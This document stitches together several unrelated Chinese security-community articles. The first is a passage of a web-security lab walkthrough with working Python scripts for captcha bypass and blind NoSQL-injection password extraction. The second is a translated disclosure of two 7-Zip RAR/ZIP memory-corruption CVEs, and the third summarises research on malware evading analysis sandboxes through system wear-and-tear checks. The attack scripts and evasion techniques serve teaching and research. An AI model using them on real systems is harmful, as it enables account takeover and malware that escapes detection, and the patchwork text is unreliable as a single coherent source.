第六题与第七题都可以用tesseract来识别，不需要做其它的操作，所以脚本都写在一个函数了。这里只试了一次，到时候可根据情况来看是否需要写个循环来提交。因为正确率可能不是100%。
def captcha67():
url = "http://10.108.40.237/captcha/example8/"
login_url = "http://10.108.40.237/captcha/example8/submit?captcha={}&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2"
ss = requests.session()
html = ss.get(url).text
soup = BeautifulSoup(html, "html.parser")
pic_src = soup.select("img")[0]["src"]
img_data = ss.get(url + pic_src).content
img_name = "captcha6.png"
with open(img_name, "wb") as f:
f.write(img_data)
def img_2_str(filename):
cmd = "tesseract {} {}"
print cmd.format(filename, filename)
strs = ""
try:
output = subprocess.check_output(cmd.format(filename, filename), shell=True)
with open(filename+".txt", "r") as f:
strs = f.read().strip()
return strs
except:
print "[-] Error Happend!"
return strs
result = img_2_str(img_name)
if result != "":
html = ss.get(login_url.format(result)).text
if "Success" in html:
print "[+] OK!"
7\. 第8题的验证码需要做处理，同时还要分粘连的情况…
这题没做好，去噪这一部分我做了，但是处理粘连没有做好，所以识别不出来。放上几个链接吧。[初探验证码识别](http://static.hx99.net/static/drops/tips-4550.html)，[常见验证码的弱点与验证码识别](http://static.hx99.net/static/drops/tips-141.html)，[简单验证码识别及工具编写思路](http://static.hx99.net/static/drops/tips-13043.html)。
8\. 第9题的验证码是题解，并且不是写在图片上的，可以直接正则匹配出来然后计算识别提交。脚本如下:
def captcha9():
url = "http://10.108.40.237/captcha/example9/"
post_url = "http://10.108.40.237/captcha/example9/submit?captcha={}&submit=Submit"
ss = requests.session()
html = ss.get(url).text
soup = BeautifulSoup(html, "html.parser")
form = soup.select("form")[0].text
print ((form.strip()))
captcha = re.match(r"(d+[+-*/]d+)s+=", (form.strip()))
if captcha:
result = eval(captcha.group(1))
html = ss.get(post_url.format(result)).text
if "Success" in html:
print "[+] OK"
**授权**
1\. 这是一个未授权访问，只要知道了url，不用登录也可以访问。
2\. 登录user1/pentesterlab 并访问user2的内容。即水平权限提升。User1只有infos/1
infos/2两个文件，但是访问infos/3, 即user2的内容时，也可以访问的到。
3\. 与上一题一样，使用user1的帐户访问user2的内容。不过这次是在修改的时候。只能看到…
**覆盖属性**
在web开发的时候，如果用数据库做存储时会有很多手工写的sql语句。为了方便开发人员，于是开发出了对象关系映射（Object-relational
mapping）
以方便不懂sql的开发人员来做数据库的操作。在ruby中，可以用@user=User.find_by_name(‘pentesterlab’)
来进行数据库的查询与结果的返回。除此之外还有创建与更新等操作。
但这并不能保证安全性，如果开发人员没有对参数做好判断，就会出现重置某些属性的问题。这就是覆盖属性。 下边看几个例子。
1\. 目的是创建个admin权限的用户。观察参数，发现是user[username]=&user[password]= 那么我们试着添加一个admin
属性。
2\.
目的同1一样，创建一个admin权限的用户。但是在创建时并不行。那么我们创建一个普通用户进去，发现有一个更新简历，那么在更新处添加admin属性就可以。
3\.
同前2个差不多，但是这里要猜一个company_id的字段。因为在一对多的结构中，即一个company对应多个user，那么在user表中会多一个company_id的外键指向company表。
**Mongodb**
mongodb是应用很广泛的一种nosql数据库，虽然不用sql，但是同样存在安全问题。 放几个参考链接： [owasp nosql
injection](https://www.owasp.org/index.php/Testing_for_NoSQL_injection),
[hacking node.js and mongodb](http://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb.html) ,[ hacking node.js and
mongodb2](http://blog.websecurify.com/2014/08/attacks-nodejs-and-mongodb-part-to.html) 。
1\. 在登录时，如果是mysql这种关系型的数据库，我们可以构造真值等式来绕过。如 or 1=1。 在nosql中同样可以， || 1==1
在nosql中相当于 or 1=1 在sql中。 那么我们可以这样绕过。
2\. 说实话，这个我也没解出来，在看了答案之后发现是这样的。 根据一点猜测(或者对应用的了解)，想必这里还有一个password字段。可以这样来猜测.
url: http://localhost/mongodb/example2/?search=admin’ && this.password.match(/./)//+%00
其中最后的// 类似于sql中的– 即注释作用。而%00 空字符也可以阻止后边的执行。 还可以加上正则中的 ^ $ 分别限定。
如果成功，则返回结果，如果false，则无结果返回。 脚本如下：
def nosql2():
strs = string.lowercase + string.uppercase + string.digits
url = "http://10.108.40.237/mongodb/example2/?search=admin%27%20%26%26%20this.password.match(/^{}$/)//+%00"
password = ""
while True:
for char in strs:
tmp = password + char
html = requests.get(url.format(tmp + ".*"))
if "admin" in html.text:
password += char
print "[-] find a char:{}".format(password)
break
html = requests.get(url.format(password))
if "admin" in html.text:
print "[+] Done! password:{}".format(password)
break | 社区文章 |
# 7-Zip：RAR和ZIP的多个内存损坏漏洞
##### 译文声明
本文是翻译文章，文章原作者 landave，文章来源：landave.io/
原文地址：<https://landave.io/2018/01/7-zip-multiple-memory-corruptions-via-rar-and-zip/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
在我此前发布的文章（ <https://landave.io/2017/06/avast-antivirus-remote-stack-buffer-overflow-with-magic-numbers/> ）中，有两个和7-Zip有关的Bitdefender漏洞，我在文章中明确提到了Igor
Pavlov开发的7-Zip版本没有受到影响。然而，本次所发现的漏洞，该版本则受到了影响。
在我对一个优秀防病毒产品进行分析的过程中，我发现了这些漏洞。目前厂商暂未发布补丁程序，因此一旦确认有哪些产品受到影响，我会及时对本文进行更新，补充受影响产品的名称。由于Igor
Pavlov已经发布了7-Zip的修复后版本，并且在7-Zip上更容易利用这些漏洞，所以我认为应该尽快发布这篇文章。
## 二、简介
在本文中，我将描述两个7-Zip漏洞，该漏洞影响18.00版本前的所有版本，包括p7zip。第一个漏洞（RAR的PPMd算法）较为严重，我们会重点进行分析。第二个漏洞（ZIP
Shrink）没有第一个漏洞那么严重，也比第一个漏洞更容易理解。
## 三、RAR PPMd内存损坏漏洞（CVE-2018-5996）
7-Zip的RAR部分代码主要基于最新的UnRAR版本。对于RAR格式的第3版本，可以使用PPMd算法，该算法是Dmitry
Shkarin的PPMII压缩算法的具体实现。如果大家想了解更多关于PPMd和PPMII算法的细节，建议阅读Shkarin关于PPM的论文：<http://ieeexplore.ieee.org/document/999958/>
。
有趣的是，7z压缩格式也可以使用PPMd算法，7-Zip使用与RAR3相同的代码。事实上，在Bitdefender使用了一种非常特别的PPMd实现方式，会导致基于栈的缓冲区溢出（
<https://landave.io/2017/07/bitdefender-remote-stack-buffer-overflow-via-7z-ppmd/> ）。
从实质上来看，这个漏洞是由于7-Zip的RAR3处理程序中异常处理不正确所导致的。因此，大家可能会说，这并不是PPMd代码本身的漏洞，也不是UnRAR解压缩代码中的漏洞。
### 3.1 漏洞描述
在RAR处理程序中，有一个NArchive::NRar::CHandler::Extract2函数，其中包含一个如下所示的循环（该循环过程非常简单）：
for (unsigned i = 0;; i++, /*OMITTED: unpack size updates*/) {
//OMITTED: retrieve i-th item and setup input stream
CMyComPtr<ICompressCoder> commonCoder;
switch (item.Method) {
case '0':
{
commonCoder = copyCoder;
break;
}
case '1':
case '2':
case '3':
case '4':
case '5':
{
unsigned m;
for (m = 0; m < methodItems.Size(); m++)
if (methodItems[m].RarUnPackVersion == item.UnPackVersion) { break; }
if (m == methodItems.Size()) { m = methodItems.Add(CreateCoder(/*OMITTED*/)); }
//OMITTED: solidness check
commonCoder = methodItems[m].Coder;
break;
}
default:
outStream.Release();
RINOK(extractCallback->SetOperationResult(NExtract::NOperationResult::kUnsupportedMethod));
continue;
}
HRESULT result = commonCoder->Code(inStream, outStream, &packSize, &outSize, progress);
//OMITTED: encryptedness, outsize and crc check
outStream.Release();
if (result != S_OK) {
if (result == S_FALSE) { opRes = NExtract::NOperationResult::kDataError; }
else if (result == E_NOTIMPL) { opRes = NExtract::NOperationResult::kUnsupportedMethod; }
else { return result; }
}
RINOK(extractCallback->SetOperationResult(opRes));
}
在这个函数中，需要关注的是，函数最多只会为每个RAR解压缩版本创建一个编码器。如果压缩包中包含多个使用相同RAR解压缩版本压缩的项目，那么这些项目将使用相同的编码对象（Coder
Object）进行解码。
此外，还要注意的是，Code方法的调用可能会失败，并返回S_FALSE这一结果，由于回调（Callback）函数没有捕获到成功的结果，所以已经创建的编码器将会被下一个项目重新使用。接下来，让我们看看错误代码S_FALSE可能来源于哪里。简化后的NCompress::NRar3::CDecoder::Code3方法如下所示：
STDMETHODIMP CDecoder::Code(ISequentialInStream *inStream, ISequentialOutStream *outStream,
const UInt64 *inSize, const UInt64 *outSize, ICompressProgressInfo *progress) {
try {
if (!inSize) { return E_INVALIDARG; }
//OMITTED: allocate and initialize VM, window and bitdecoder
_outStream = outStream;
_unpackSize = outSize ? *outSize : (UInt64)(Int64)-1;
return CodeReal(progress);
}
catch(const CInBufferException &e) { return e.ErrorCode; }
catch(...) { return S_FALSE; }
}
其中，CInBufferException非常有趣。顾名思义，这个异常可能会在从输入流读取时被抛出。在对RAR3压缩文件进行操作的过程中，非常容易触发这一异常，从而导致返回错误代码S_FALSE。我建议有兴趣的读者自行尝试研究其具体原理和细节。
那么，我为什么说它非常有趣呢？原因在于，在使用PPMd算法的RAR3的情况下，这个异常可能会在PPMd模型更新过程中被抛出，从而使得整个模型状态的健全性（Soundness）受到威胁。回想一下上面的工作原理，即使抛出了错误代码为S_FALSE的CInBufferException，下一个项目也还会使用相同的编码器。
另外需要注意的是，RAR3解码器会保存PPMd的模型状态。通过大致浏览NCompress::NRar3::CDecoder::InitPPM3方法的代码，我们可以发现这样一个事实：如果一个项目对其发起明确的请求，这个模型状态就会被重新初始化。这其实是一个用于允许在不同的项目之间，借助收集的概率启发式（Collected
Probability Heuristics）来保持模型相同的功能特性。但这也意味着，我们可以做到以下几点：
1. 构建RAR3压缩文件的第一个项目，以便在PPMd模型更新的过程中触发错误代码为S_FALSE的CInBufferException。实际上，这意味着我们可以调用任意Ppmd7_DecodeSymbol4错误中使用的范围解码器（Range Decoder）的Decode方法，从而跳出PPMd代码。
2. 压缩文件的后续项目没有设置重置位，可能导致模型的重新初始化。因此，PPMd代码可能在被破坏后还持续运行。
到目前为止，可能大家觉得还不是太糟糕。为了理解攻击者如何将这一漏洞转化为内存损坏漏洞并利用，我们还需要了解更多有关于PPMd模型状态，并且需要具体了解该模型更新的过程。
### 3.2 PPMd预处理
所有PPM压缩算法的核心思想，都是建立一个有限D阶的马尔可夫模型。在PPMd的具体实现中，模型状态本质上是一个最大深度为D的256元上下文树（Context
Tree），其中从根到当前上下文节点会被解释为字节符号的序列。特别地，其中的父子关系（Parent Relation）将被转化为后缀关系（Suffix
Relation）。此外，每个上下文节点都会存储与后继上下文节点相连接的频率统计，该频率用于记录其可能的后继符号。
上下文节点的类型为CPpmd7_Context，定义如下：
typedef struct CPpmd7_Context_ {
UInt16 NumStats;
UInt16 SummFreq;
CPpmd_State_Ref Stats;
CPpmd7_Context_Ref Suffix;
} CPpmd7_Context;
NumStats字段存储Stats数组所包含元素的数量。类型CPpmd_State定义如下：
typedef struct {
Byte Symbol;
Byte Freq;
UInt16 SuccessorLow;
UInt16 SuccessorHigh;
} CPpmd_State;
至此，我们对其有了一定程度的了解。关于模型更新的过程，我们不会详细描述细节，而是抽象地描述一个新符号的解码过程，具体如下：
3. 当Ppmd7_DecodeSymbol被调用时，假设是在健全模型的状态下，当前上下文是p->MinContext，它等同于p->MaxContext。
4. 从范围解码器读取阈值。该值将用于在当前上下文p->MinContext的Stats数组中找到相应的符号。
5. 如果没有找到相应的符号，则会将p->MinContext向上移动（在后缀链接之后），直至找到（严格意义上）具有更大Stats数组的上下文。然后，读取一个新的阈值并在当前Stats数组中找到相应的值，忽略之前访问过的上下文符号。重复这一过程，直到找到一个符合要求的值。
6. 最后，调用范围解码器的解码方法，将找到的状态写入p->FoundState之中，并调用一个Ppmd7_Update函数来更新模型。作为该过程的一部分，UpdateModel函数会将找到的符号添加到p->MaxContext和p->MinContext之间的每个上下文的Stats数组中。
更新机制试图建立的一个关键不变量是：每个上下文的Stats数组所包含的256个符号不能发生重复，每个符号至多只能出现一次。然而，这个属性仅仅进行了归纳，当插入一个新符号时并没有进行重复检查。通过上文描述的漏洞，我们很容易发现向Stats数组添加重复符号的方法：
7. 创建第一个RAR3项目，创建几个上下文节点，随后函数Ppmd7_DecodeSymbol会将p->MinContext向上移动至少一次，直到找到相应的符号。然后，对范围解码器的解码方法的后续调用失败，触发CInBufferException。
8. 下一个RAR3项目没有设置重置位，所以我们可以继续使用以前创建的PPMd模型。
9. Ppmd7_DecodeSymbol函数使用新的范围解码器，在p->MinContext != p->MaxContext的情况下执行。它会立即在p->MinContext中找到相应的符号，但现在这个找到的符号，很可能已经在p->MaxContext和p->MinContext之间的上下文中出现过。当UpdateModel函数被调用时，这一符号会被重复添加到p->MaxContext 和p->MinContext之间每个上下文的Stats数组中。
好的，现在我们已经知道如何将重复的符号添加到Stats数组中。接下来，让我们看看如何利用它来造成实际上的内存损坏。
### 3.3 触发栈缓冲区溢出
以下是Ppmd7_DecodeSymbol的部分代码，其作用是将p->MinContext指针向上移动到上下文树中：
CPpmd_State *ps[256];
unsigned numMasked = p->MinContext->NumStats;
do {
p->OrderFall++;
if (!p->MinContext->Suffix) { return -1; }
p->MinContext = Ppmd7_GetContext(p, p->MinContext->Suffix);
} while (p->MinContext->NumStats == numMasked);
UInt32 hiCnt = 0;
CPpmd_State *s = Ppmd7_GetStats(p, p->MinContext);
unsigned i = 0;
unsigned num = p->MinContext->NumStats - numMasked;
do {
int k = (int)(MASK(s->Symbol));
hiCnt += (s->Freq & k);
ps[i] = s++;
i -= k;
} while (i != num);
MASK是一个宏，用于访问每个符号索引处字节数组的值，如果该符号已经使用过，那么值为0x00，否则值为0xFF。显然，其目的在于，用所有指向未使用过符号状态的指针，来填充栈缓冲区ps。
请注意，栈缓冲区ps的大小固定为256，并且没有溢出检查机制。这意味着，如果Stats数组多次存储同一个使用过的符号，我们就可以造成该数组越界，从而使ps缓冲区溢出。
通常情况下，针对这样的缓冲区溢出，攻击过程非常困难，因为我们不能控制所读取的内存。但是，在PPMd算法的场景下，上述攻击过程并不存在困难，因为从该算法的实现上来看，仅仅在堆上分配了一个大池，然后利用自己的内存分配器来分配该池中的所有上下文和状态结构。尽管这样的方式，能确保快速分配，并且占用的内存非常低，但却也允许攻击者轻松地控制对该池内结构的越界读取，并且这一过程是独立于系统的堆实现的。例如，我们可以构建第一个RAR3项目，从而将所需的数据填充到池中，避免未初始化前提下的越界读取。
最后，请注意，攻击者还可以利用指向自定义数据的指针，来实现栈缓冲区溢出。
### 3.4 触发堆缓冲区溢出
在前一节的基础上，我们接下来尝试触发堆缓冲区溢出。我们也可以在不溢出栈缓冲区ps的前提下读取Stats数组，从而让s指针指向含有攻击者控制的数据的CPpmd_State。由于p->FoundState可能是ps状态之一，并且模型更新过程会假定p->MinContext的Stats数组及其后缀上下文中包含符号p->FoundState->Symbol。
下面是UpdateModel函数中的部分代码：
do { s++; } while (s->Symbol != p->FoundState->Symbol);
if (s[0].Freq >= s[-1].Freq) {
SwapStates(&s[0], &s[-1]);
s—;
}
同样，在Stats数组上没有进行边界检查，所以指针很容易移动到分配的堆缓冲区的末尾。在理想情况下，我们会构建一个输入，使得s越出界限，并保证s-1在分配的池内，从而允许攻击者控制堆溢出。
### 3.5 攻击者的控制、漏洞利用过程及其缓解方法
Windows系统的7-Zip二进制文件都不附带/NXCOMPAT和/DYNAMICBASE标志，
这就意味着在Windows上运行的7-Zip都没有ASLR（缓冲区溢出保护）机制，而DEP（数据执行保护）又只在Windows x64或Windows 10
x86上存在。如下图所示，是在更新版本的Windows 8.1 x86上运行最新的7-Zip 18.00：
此外，7-Zip编译时没有/GS标志，因此也没有Stack Canaries（栈金丝雀保护）机制。
由于可以用各种方式来破坏栈和堆，并且能够由攻击者完全对其进行控制，所以要实现远程代码执行就非常简单，特别是在没有DEP保护的情况下。
我与Igor
Pavlov讨论过这一问题，并尝试说服他加上这三个标志。但是，他坚持拒绝启用/DYNAMICBASE，因为他更希望在没有重定位表的情况下传送二进制文件从而使二进制文件尽可能小。此外，他也不太想启用/GS，因为可能其会影响运行速度及二进制文件大小。但他表示，会在下一个版本中尝试启用/NXCOMPAT。目前没有启用的原因是7-Zip连接了一个不支持该标志的过时连接器。
### 3.6 结论
我们所描述的堆、栈内存损坏，都是漏洞利用的一个最简单方式。实际上，很可能还有其他的漏洞利用方法，甚至可以让攻击者完全控制，从而导致内存损坏。
通过该漏洞，我们意识到将外部的代码集成到现有代码库是一件非常困难的事情。特别是如何正确处理异常，以及如何理解它们所引发的控制流，这是两件非常有挑战性的工作。
在关于BitDefender的PPMd栈缓冲区溢出的帖子（ <https://landave.io/2017/08/bitdefender-heap-buffer-overflow-via-7z-lzma/>
）中，我已经明确表示，PPMd的代码是非常脆弱的。如果发生了一个API的轻微误用，或者是将其集成到另一个代码库时，都有可能会导致多重危险的内存损坏漏洞。
如果你使用的是Shkarin的PPMd实现，我强烈建议你尽可能全面地进行边界检查，同时要确保基本的模型不变量（Model
Invariants）保持不变。而且，在发生异常时，可以在更新模型之前在模型中添加额外的错误标志并置为True，在更新成功后再将其置为False。这样，应该能够缓解破坏模型状态的风险。
如果有任何意见或建议，欢迎与我讨论，我的相关联系方式请参见：<https://landave.io/about/>
。或者你也可以在HackerNews或/r/netsec上参与我们的讨论
### 3.7 披露时间表
2018年1月6日 发现漏洞
2018年1月6日 报告漏洞
2018年1月10日 修复后版本7-Zip 18.00（测试版）发布
2018年1月22日 MITRE分配漏洞编号CVE-2018-5996
## 四、ZIP Shrink：堆缓冲区溢出漏洞（CVE-2017-17969）
接下来，让我们继续讨论另一个关于ZIP Shrink的漏洞。Shrink是Lempel-Ziv-Welch（LZW）压缩算法的一个实现。该算法在1993年PKWARE发布的PKZIP
2.0之前就已经被使用。事实上，这一算法非常古老，并且如今很少被使用。在2005年，Igor
Pavlov写了7-Zip的Shrink解码器之后，他居然都很难找到一个压缩文件样本来测试它的代码。
实际上，Shrink是一个LZW之中9-13位之间的动态代码，并且它允许对一部分字典进行清除。
7-Zip的Shrink解码器非常简单易懂。实际上，该解码器只有200行代码。然而就在这200行代码之中，蕴含着一个缓冲区溢出漏洞。
### 4.1 漏洞描述
Shrink模型的状态，本质上只包含两个数组：_parents和_suffixes，这两个数组会尽可能节省空间以存储LZW字典。而且，还有一个当前序列写入的_stack缓冲区：
UInt16 _parents[kNumItems];
Byte _suffixes[kNumItems];
Byte _stack[kNumItems];
下面是NCompress::NShrink::CDecoder::CodeReal10方法中的部分代码：
unsigned cur = sym;
unsigned i = 0;
while (cur >= 256) {
_stack[i++] = _suffixes[cur];
cur = _parents[cur];
}
经过观察可以发现，其中i的值没有进行任何检查。
由此，我们可以构造一个序列的符号，来使_parents数组形成一个循环，从而造成堆缓冲区_stack的溢出。由于解码器只会确保父节点不链接到自身（长度为1的周期），因此上述方法是可行的。有趣的是，旧版本的PKZIP创建Shrink压缩文件时可能会出现这种自链接的情况，因此如果想要与其兼容，实际上应该接受这样的链接。在7-Zip
18.00版本中，已经修复了这一问题。
此外，使用特殊符号序列256,2，可以使得攻击者控制其清除父节点。清除后的父节点将被设置为kNumItems。由于没有对父项是否已被清除进行检查，所以父数组可以被越界访问。
综合上面的这些事实，我们可以构建压缩文件，使解码器越界写入攻击者控制的数据。然而，我并没有找到一个更简单的实现方法，并且该方法会产生一个死循环。这非常关键，因为每一次循环都会让索引i递增，所以死循环将很快导致段错误，让代码执行的利用变得非常困难。目前，我还没有在这方面进行更深入的研究，可能会有一种更好的方式，能在不进入死循环的前提下实现堆破坏。
### 4.2 结论
该漏洞已经在7-Zip中存在很长时间。我认为，该漏洞产生的一大原因是目前使用Shrink方式的ZIP压缩文件已经几乎不存在。
确实，该漏洞并没有RAR PPMd漏洞那么严重，但我认为这是一个非常有趣的漏洞。
如果你有能够避免死循环的方法，欢迎随时告诉我，我会非常感激。
### 4.3 披露时间表
2017年12月29日 发现漏洞
2017年12月29日 报告漏洞
2017年12月29日 MITRE分配漏洞编号CVE-2017-17969
2018年1月10日 修复后版本7-Zip 18.00（测试版）发布
## 五、致谢
在此，要感谢Igor Pavlov用极快的速度修复了上述这些漏洞。
原文链接：<https://landave.io/2018/01/7-zip-multiple-memory-corruptions-via-rar-and-zip/> | 社区文章 |
**出处：2017 IEEE Symposium on Security and Privacy (SP)
作者：Najmeh Miramirkhani, Mahathi Priya Appini, Nick Nikiforakis, Michalis
Polychronakis
单位：Stony Brook University
资料：[Paper](https://ieeexplore.ieee.org/abstract/document/7958622)
译者：Z3R0YU
译者博客：http://zeroyu.xyz/**
## 1.Abstract & INTRODUCTION
动态恶意代码分析系统通过将每个样本加载到称为沙箱的大量仪器环境中来操作，并以不同的粒度级别（例如，I/O活动，系统调用，机器指令）监视其操作。
恶意软件沙箱通常使用API hooking机制、CPU仿真器、虚拟机、甚至是专用的裸机主机来构建。
攻击者角度:
1. 使用打包、多态以及其他代码混淆技术规避基于静态代码分析的恶意软件扫描技术；
2. 在恶意软件中加入一定的“环境感知能力”来规避恶意软件沙箱环境的分析(在发现身处沙箱环境后采用直接崩溃或者展示“良性”行为)。
防御者角度:
1. 一般而言用实际值替换分析环境的特有属性并隐藏检测工具，来尝试避免被恶意软件感知；
2. 针对使用仿真或者虚拟技术的产品而言，使用清除特定的驱动程序、进程以及其它虚拟技术指示器来实现防规避；
3. 使用裸机(在进行一定的隔离后，直接使用物理计算机)。
防御者角度的问题缺陷:
1. 用于分析的操作系统几乎是原始状态的；
2. 每次进行过二进制分析之后就会将系统回滚至最初状态(浏览器记录、系统日志等信息均被回滚)。
PS:以上内容之所以说是缺陷，是因为真实环境中用户不可能主动去将”缓存”(广义缓存，泛指日志、注册表等)的记录进行回滚或者初始化。
因此在本文中作者提出了一种利用操作系统“wear and
tear”(使用痕迹的含义，后文简称为磨损)和“aging”(使用年份的含义，后文简称为老化)的特征来规避sandbox(恶意软件沙箱环境)的方法。
本文的两项研究成果:
1. 构建决策树模型，使恶意软件稳定地避免所有经过测试的沙箱的准确率提升至92.86％；
2. 构建的统计模型可以根据系统使用指标预测系统的年龄，并可用于将现有的人造沙箱“老化”到所需的年限范围。
## BACKGROUND AND RELATED WORK
### A. Virtualization and Instrumentation Artifacts
1. 防御者D: 使用系统仿真器和虚拟机构建恶意软件沙箱十分方便
2. 攻击者A: 使用静态启发式检查某些系统属性，例如特定于VM的设备驱动程序和硬件配置，固定标识符（包括MAC地址），IMEI（用于移动恶意软件分析系统），用户/主机名，VM特定加载的模块和流程（例如VMware的VMware Tools）和注册表项等
3. 防御者D: 配置动态分析系统时以避免出现期望值和配置
4. 攻击者A: 这对虚拟化指令的时序属性、运行时使用小代码片段等底层属性作用不大
### B. Environmental and User Interaction Artifacts
防御者D: 我的两种方案:
1. 在多个不同的分析系统上运行每个样本来检测恶意软件的“分裂个性”；
2. 避免完全使用仿真或虚拟化，并选择“裸机”系统来保持分析环境的真实性。
攻击者A: 目前虚拟化技术的广泛使用，应当认为VM和非VM是具有同样的感染价值的，从而减少对VM检测技巧的使用，转而采取如下几种启发式方法:
1. 检查鼠标光标是否在屏幕中央保持静止；
2. 是否存在“最近打开文件”；
3. 异常低数量的进程；
4. 不受限制的互联网连接，并尝试解析已知的不存在的域名(比如WannaCry)。
防御者D: 我的两种对策:
1. 模拟用户行为；
2. 暴露更真实的网络环境
防御者D对策的缺陷: 系统正常使用而预计会发生磨损和老化特征未被考虑。
### C. Sandbox Fingerprinting
SandFinger: 使用移动设备属性来作为沙箱指纹来规避Google的Bouncer沙箱。
AVLeak: 使用侧信道的方式捕获AV引擎中的指纹。
SandPrint: 提取Windows沙箱中的硬件配置参数，恶意软件样本调用机制的特征，可执行文件的文件名等特征进行聚类分析，进而识别沙箱。
如果沙箱操作员将沙箱的特征值进行多样化处理，致使是指纹失效。那么攻击者下一步会考虑怎么方法进行规避?
这种方式就是本文中所提到的真实系统才具有的“磨损”和“老化”特征。
## III. WEAR AND TEAR ARTIFACTS
文中选用的artifact的特点: 恶意软件可以轻松探测
artifact的选择策略: 哪些在系统的正常使用中会被影响
### A. Probing for Artifacts while Preserving User Privacy
从artifact地选择上来看可以分为两种:一种是直接源于用户活动；另一种是来自系统活动(用户活动的间接表现)。
直接来源是针对用户行为的定性指标：
1. 文档文件夹是否包含具有预期文件扩展名的合理数量的文件；
2. 检查流行文档查看应用程序中最近打开的文档；
3. 最近键入的在线搜索引擎查询；
4. 系统范围的搜索查询
5. 即时消息；
6. 电子邮件消息内容 但是这些将会对用户的隐私造成侵犯，所以本文的方案将使用间接来源(比如:统计cookie、访问的URL数量等方式)
### B. Artifact Categories
本文主要针对Windows操作系统进行研究，所以采用的artifact类别集合如下表所示:
## IV. DATA COLLECTION
### A. Probe Tool Implementation
为了从真实用户系统和恶意软件沙箱中收集以上类别的artifact数据集，作者实现了一个只使用系统API、不需要安装并且兼容Windows
XP到Windows 10的探针程序。这个程序主要有以下几个特点:
1. 使用HTTPS信道传输收集到的artifact数据防止沙箱拦截请求；
2. 收集一些BIOS供应商等其他信息用于VM启发式检测，来去除用户集中可能存在的VM结果集；
3. 唯一的嵌入式ID来识别同一供应商的多次提交(一些砂箱会将程序放在多个不同的环境中进行动态分析，进而检测其行为)；
4. 基于操作系统安装日期，Windows版本，BIOS供应商等信息的组合来区分不同的操作系统。
### B. IRB Approval and User Involvement
这部分主要讲述作者在申请IRB批准，从而让真实用户参与进这个项目中。
### C. Data Collection
**第一个数据集（Dreal）- >** 270个真实用户机器，其中有89.4％是Amazon Mechanical Turk
workers。国家分布为美国（44％），印度（18％），GB（10％），CA（8％），NL（1％），PK
（1％），RU（1％）和其他28个频率低于1％的国家/地区(这种国家分析代表了从发达国家到发展中国家的计算机使用磨损特性)。表II中显示了用户系统的BIOS供应商分布。
PS:后面作者发现Amazon Mechanical Turk
workers是一种跟搜索引擎相结合的沙箱，因此将这一部分的数据标记为“crawlers”并合并到后面的沙箱数据集中。
**第二个数据集（Dsand）- >** 来自15个可以收集到信息的恶意软件沙箱，表III是沙箱与对应探针回收的信息。
PS:有的沙箱环境会在底层使用不同版本的操作系统来分别进行分析。
**第三个数据集（Dbase）- >** 基准数据集，数据来自多个全新安装的Microsoft
Windows版本(包括Azure和AWS提供的云Windows服务器)。
### D. Dataset Statistics
表IV显示了我们三个收集的数据集中不同Microsoft Windows版本的数量。(可以看出沙箱的系统分布与真实用户的是不相同的)。
图1显示了三个数据集（Dreal，Dsand和Dbase）中每个磨损artifact值的分布。从中可以看到:1.大多数artifact在真实用户系统中的值大于沙箱和基线中的值，因此可以用来区分真实用户和沙箱；2.真实用户的artifact值分布更宽，因此可以用来预测系统年龄。
PS: 可以看到沙箱的appdiffdays和sysdiffdays值比真实用户高很多，因此沙箱系统一般比真实用户系统“老化”程度更高。
图2显示了Mann-Whitney
U检验显示的Dreal和Dsand分布之间差异的影响大小。0.3和0.5之间的效果被认为是“中等”效应的特征，而高于0.5的效应被认为是“强”效应。
## V. EVADING MALWARE SANDBOXES
以上的统计信息说明了作者所选用的artifact是可以作为特征来分辨沙箱的，因此接下来将使用有监督机器学习方式，训练决策树模型来进一步完成对沙箱的规避工作。
### A. Setup and Classifier
1. 使用决策树模型。因为决策树模型可以表现为一系列的if-else语句，从而将恶意软件的整体足迹保持在最小。
2. 计算皮尔森相关系数（r）来检查特征对的相关性。虽然有4对特征具有很强的相关性（r> 0.7），但是为了尽可能的规避所有沙箱，作者还是采用了所有的特征。
3. 训练集：49个沙箱环境实例，22个新安装操作系统的实例，71个真实用户实例；测试集：剩余的49个沙箱环境实例，49个真实用户随机样本。
4. 使用10-trial adaptive boosting算法(创建多个树，每个树专注改进前一棵树的结果)和adaptive boosting决策树算法(覆盖单棵树不能到达的边界)来提升分类器准确性。
5. 指定成本矩阵减少漏报的出现(原则是宁可不感染到某些真实用户，也尽量不能被沙箱捕获)。
PS: FP 误报->没有感染真实用户主机；FN 漏报->尝试感染沙箱
### B. Evaluation
模型在测试集上达到了92.86％的准确率，假阴性率（FNR）为4.08％，假阳性率（FPR）为10.20％。
十个构建的树的平均树大小为4.6分裂，最短的树具有3个分裂，最长的树分裂为5个。 表V显示了对算法最有用的功能，以及使用任何给定功能的树的百分比。
之后作者从两个思路出发:
一、评估我们的算法对沙盒环境中增量变化的稳健性
方法: 每次只删除一个特征，将以上分类器训练过程重复30次。
目的: 对于攻击者而言量化恶意软件区分沙箱和真实用户的能力；对于防御者而言可以使用在此处识别的最有价值的artifact磨损程度来模仿真实的用户系统。
效果: 图4显示了准确性，误报率和漏报率如何变化。可以看到即使删除多达20个特征，分类器的整体准确性仍高于90%。
二、每种类型的工件如何影响分类器的准确性
方法: 一次仅使用 **一种** 类型的工件重新训练我们的模型。
目的: 让恶意软件作者可以选择他们想要关注的artifact类别，但这种选择不会影响恶意软件的规避能力。
效果: 表VI显示了每个类别的artifact数量以及每个分类器在测试数据集上的性能。
## VI. ESTIMATING ACTUAL SYSTEM AGE
在之前的数据分析中，可以发现沙箱环境的“老化”程度与用户的真实环境是截然不同的。而且理论上“磨损”程度和“老化”程度应该是相匹配的，如果不匹配那么是沙箱的概率则很大。对于攻击者可以使用者一特点进行沙箱规避；对于防御者则可以对沙箱做更好的调整。
### A. Correlation Between Age and Artifacts
目的: 得出artifact的磨损与系统年龄之间的关系
图5显示了用户系统和恶意软件沙箱“年龄”的累积分布函数。可以看到平均而言用户系统比沙箱更“新”。
图6显示了报告的年龄与真实用户系统的每个artifact磨损程度之间的皮尔森相关系数。此处假设从真实用户系统收集的报告年龄是准确的。
观测结果分析:
1. 许多非常成功地区分真实机器和沙箱的工件实际上与机器的年龄无关；
2. 一些与用户活动直接相关的artifact不能很好的反映系统的年龄，比如cookie的数量(用户可以主动清除)；
3. 一些不太容易被用户修改的artifact将跟系统年龄成正相关，比如连接过的USB数量。
### B. Regression
目的: 确定组合它们的原始值来估计系统的实际年龄的合适方法。
数据集处理:
1. 删除具有缺失值的artifact；
